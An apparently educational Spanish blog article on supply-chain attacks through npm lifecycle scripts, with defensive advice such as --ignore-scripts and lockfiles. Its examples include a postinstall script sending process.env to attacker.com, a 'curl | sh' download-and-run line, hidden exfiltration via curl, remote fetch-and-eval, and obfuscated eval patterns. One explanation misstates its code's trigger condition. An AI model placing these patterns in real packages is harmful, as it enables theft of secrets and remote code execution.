28 de Marzo, 2026
Ejecución de scripts maliciosos en dependencias: riesgos reales y cómo proteger tu proyecto

Karolina Villanueva
Consultora Web

La seguridad en el ecosistema JavaScript ha entrado en una nueva etapa. Durante años, instalar una dependencia era un proceso aparentemente inofensivo: ejecutabas un simple install y el proyecto estaba listo para usar.
Hoy eso cambió.
La ejecución automática de scripts dentro de dependencias se ha convertido en uno de los vectores más críticos de ataque dentro del desarrollo moderno. Esto ha llevado a herramientas como npm y pnpm a endurecer sus políticas y permitir desactivar este comportamiento tanto a nivel de proyecto como global.
Este artículo explora en profundidad qué está ocurriendo, cómo funcionan estos ataques y qué prácticas debes adoptar para blindar tu cadena de suministro (software supply chain).
Qué son los scripts de lifecycle y por qué son un vector de ataque
Los gestores de paquetes ejecutan automáticamente scripts definidos en el package.json de cada dependencia:
preinstallinstallpostinstallprepare
Estos scripts se ejecutan durante la instalación, incluso en dependencias transitivas.
El riesgo radica en que estos scripts:
- Se ejecutan sin intervención del usuario
- Tienen acceso a
process.env(tokens, API keys, secrets) - Pueden invocar procesos del sistema (
child_process) - Pueden realizar llamadas de red
En términos de seguridad, esto equivale a ejecutar un binario remoto sin sandbox.
Cómo se inyecta código malicioso en paquetes
Los ataques de supply chain no son teóricos. Existen múltiples formas reales en las que se puede introducir código malicioso sin que el desarrollador lo note.
Dependencias comprometidas
Un atacante obtiene acceso a un paquete legítimo y publica una nueva versión con código malicioso en un script postinstall.
Typosquatting
Se publica un paquete con un nombre similar a uno popular:
express→expreslodash→lodas
Estos paquetes suelen incluir scripts que exfiltran datos o descargan payloads. El desarrollador instala el paquete incorrecto y ejecuta código malicioso sin darse cuenta.
Dependencias transitivas
Tu proyecto puede depender de paquetes que tú no instalaste directamente. Incluso si auditas tus dependencias directas, una dependencia profunda puede introducir el ataque.
Casos reales que cambiaron el ecosistema
event-stream (2018)
Un paquete ampliamente usado fue comprometido mediante la incorporación de un maintainer malicioso. Se introdujo código que intentaba robar criptomonedas desde wallets específicas.
ua-parser-js (2021)
Se publicó una versión comprometida que instalaba malware (cryptominers y password stealers) durante la instalación del paquete.
Campañas masivas de typosquatting
Miles de paquetes falsos publicados automáticamente que ejecutaban scripts para exfiltrar:
- variables de entorno
- tokens de npm
- credenciales de CI
Estos incidentes demostraron que el ataque no es teórico: es sistemático y automatizado.
Ejemplo de script malicioso en postinstall
Un script postinstall puede ejecutar código como:
const https = require("https");
const { exec } = require("child_process");
const payload = JSON.stringify({
env: process.env,
});
https.request({
hostname: "attacker.com",
method: "POST"
}).end(payload);
exec("curl http://malicious-server.com/script.sh | sh");Impacto:
- Exfiltración de variables de entorno
- Ejecución remota de código
- Persistencia en entornos CI/CD
Código malicioso “invisible” dentro del proyecto
No todo ocurre en scripts. También puede haber código malicioso que se esconden dentro del runtime incrustado en el propio paquete.
Ejemplo con lógica oculta
function safeFunction(input) {
if (process.env.NODE_ENV === "production") {
return input;
}
require("child_process").exec(
`curl http://malicious.com/collect?data=${encodeURIComponent(input)}`
);
return input;
}Explicación
- La función parece inofensiva.
- Solo se activa en entornos CI (
process.env.CI). - Ejecuta un comando del sistema que envía datos a un servidor externo.
Esto hace que:
- No se detecte fácilmente en desarrollo local
- Se active solo en entornos sensibles (pipelines)
Técnicas de ofuscación avanzada en dependencias maliciosas
Una técnica cada vez más utilizada es ocultar código malicioso dentro de strings aparentemente vacíos o irrelevantes.
Ejemplo de código ofuscado
// Simula un payload que decodifica y evalúa otro string
const complexPayload = "\\u0065\\u0076\\u0061\\u006c\\u0028\\u0041\\u0074\\u006f\\u0062\\u0028\\'\\u004c\\u0079\\u0038\\u0067\\u0059\\u0043\\u004a\\u0030\\u0064\\u0047\\u0068\\u0077\\u0064\\u0048\\u004d\\u0079\\u0059\\u0053\\u0035\\u006e\\u0062\\u0033\\u004a\\u0075\\u0063\\u0047\\u0039\\u007a\\u0064\\u0048\\u004e\\u0076\\u005a\\u0032\\u0052\\u0068\\u0062\\u0048\\u0052\\u0070\\u0059\\u0057\\u0078\\u007a\\u005a\\u0058\\u004a\\u0030\\u005a\\u0058\\u004a\\u0076\\u005a\\u0058\\u0049\\u0075\\u0064\\u0047\\u0056\\u006b\\u005a\\u0043\\u0041\\u006f\\u004f\\u003d\\'\\u0029\\u0029";
eval(complexPayload);
// El complexPayload decodifica a eval(Atob('Y29uc29sZS5sb2coJ0NvZGlnbyBtYWxpY2lvc28gZGVzZGUgYmFzZTY0Jyk=')).
// Lo que a su vez ejecuta console.log('Codigo malicioso desde base64')Qué está pasando aquí
- El string contiene caracteres Unicode escapados (
\\uXXXX). - Luego se ejecuta con
eval. - Dentro hay un
atob()que decodifica base64.
Esto permite:
- Ocultar completamente el código real
- Evitar detección visual
Caso extremo: payload en una sola línea de gran tamaño
// const hidden = " [miles de espacios o caracteres no imprimibles con base64 oculto] "
const hidden = " ";
(function(){
const decoded = Buffer.from(hidden.trim(), 'base64').toString();
eval(decoded);
})();Explicación
- La variable parece vacía pero puede contener datos ocultos.
- Puede incluir miles de caracteres invisibles.
- Se decodifica en runtime y se ejecuta.
En ataques reales:
- Una sola línea puede pesar 70–80kb
- El código está comprimido/ofuscado
- Se ejecuta dinámicamente
Variantes comunes de ofuscación
- Base64 (
Buffer.from(...).toString()) - Unicode escapes (
\\uXXXX) - Arrays reconstruidos
- Strings fragmentados
const parts = [101,118,97,108];
const fn = String.fromCharCode(...parts);
this[fn]("console.log('malicious')");Esto reconstruye eval dinámicamente.
Uso de eval y ejecución dinámica en Node.js
Node.js permite ejecutar código dinámico mediante funciones como:
evalFunctionvm.runInThisContext
Esto puede ser explotado para ejecutar código remoto.
Ejemplo de ataque usando eval
const https = require("https");
https.get("https://attacker.com/payload.js", res => {
let code = "";
res.on("data", chunk => {
code += chunk;
});
res.on("end", () => {
eval(code);
});
});Explicación de la ejecución
1. La función principal: https.get
- Primer parámetro: la URL remota desde donde se descarga el payload.
- Segundo parámetro: un callback que se ejecuta cuando el servidor responde.
2. El objeto res (response)
- En Node.js, la respuesta llega como un stream (flujo de datos), no como un bloque completo.
- Por eso se necesita acumular los datos manualmente.
3. Eventos con .on()
res.on("data", chunk => ...): se ejecuta cada vez que llega un fragmento del código remoto.res.on("end", ...): se ejecuta cuando termina la descarga completa.
4. Lo realmente peligroso, el paso final: eval(code)
- Convierte el string descargado en código ejecutable.
- Permite ejecutar instrucciones arbitrarias sin que existan en el repositorio.
Este patrón es crítico porque evita auditorías tradicionales: el código malicioso no está en el paquete, sino que se descarga en tiempo de ejecución.
Desactivación de scripts: la respuesta de npm y pnpm
Ante este contexto, los gestores de paquetes comenzaron a introducir controles más estrictos permitiendo bloquear la ejecución de scripts automáticamente.
Flag clave
--ignore-scriptsEfecto:
- No se ejecutan scripts de instalación
- Se evita la ejecución de código arbitrario
Configuración persistente
Ahora es posible bloquear la ejecución automática de scripts:
- A nivel de proyecto
- A nivel global
Esto evita que preinstall, install o postinstall se ejecuten automáticamente. Introduciendo un modelo más seguro basado en consentimiento explícito.
Comparación de seguridad: npm vs pnpm vs yarn
npm
- Soporte de
--ignore-scripts - Auditorías integradas (
npm audit)
pnpm
- Mejor aislamiento de dependencias
- Menor superficie de ataque por diseño
- Control más estricto de hoisting
yarn (berry)
- Plug'n'Play elimina node_modules
- Mayor control sobre resolución de dependencias
En términos de supply chain, pnpm y yarn ofrecen arquitecturas más seguras por defecto que npm clásico.
Impacto en CI/CD y pipelines
Los entornos CI/CD son objetivos prioritarios porque contienen:
- tokens
- credenciales de despliegue
- acceso a infraestructura
Un script malicioso puede:
- comprometer pipelines
- modificar artefactos
- inyectar backdoors en builds
Recomendaciones
- Ejecutar instalaciones con
--ignore-scripts - Usar entornos aislados
- Rotar credenciales
- Auditar dependencias automáticamente
Buenas prácticas recomendadas (basado en "NPM ignore scripts best practices")
Auditoría de dependencias
- revisar paquetes críticos
- evitar dependencias innecesarias
Bloqueo de scripts por defecto
- habilitar ejecución solo cuando sea necesario
Uso de lockfiles
- garantizar versiones exactas
Revisión de código en dependencias críticas
- especialmente en utilidades de bajo nivel
Evitar uso innecesario de eval
- reduce superficie de ataque
Conclusión
El ecosistema JavaScript está evolucionando hacia un modelo más seguro, donde instalar una dependencia ya no es un acto trivial.
Los ataques de supply chain han demostrado que cualquier paquete puede convertirse en un vector de entrada. La ejecución automática de scripts representa un riesgo real y explotable, y la decisión de npm y pnpm de permitir su desactivación es un paso necesario hacia un desarrollo más seguro.
Entender cómo funcionan estos ataques y aplicar medidas preventivas no es opcional: es parte del estándar moderno de cualquier desarrollador profesional.
Referencias
- Documentación oficial de npm sobre scripts lifecycle
- Documentación oficial de pnpm sobre ejecución de scripts
- OWASP Software Supply Chain Security
- NPM ignore Scripts Best Practices As Security Mitigation For Malicious Packages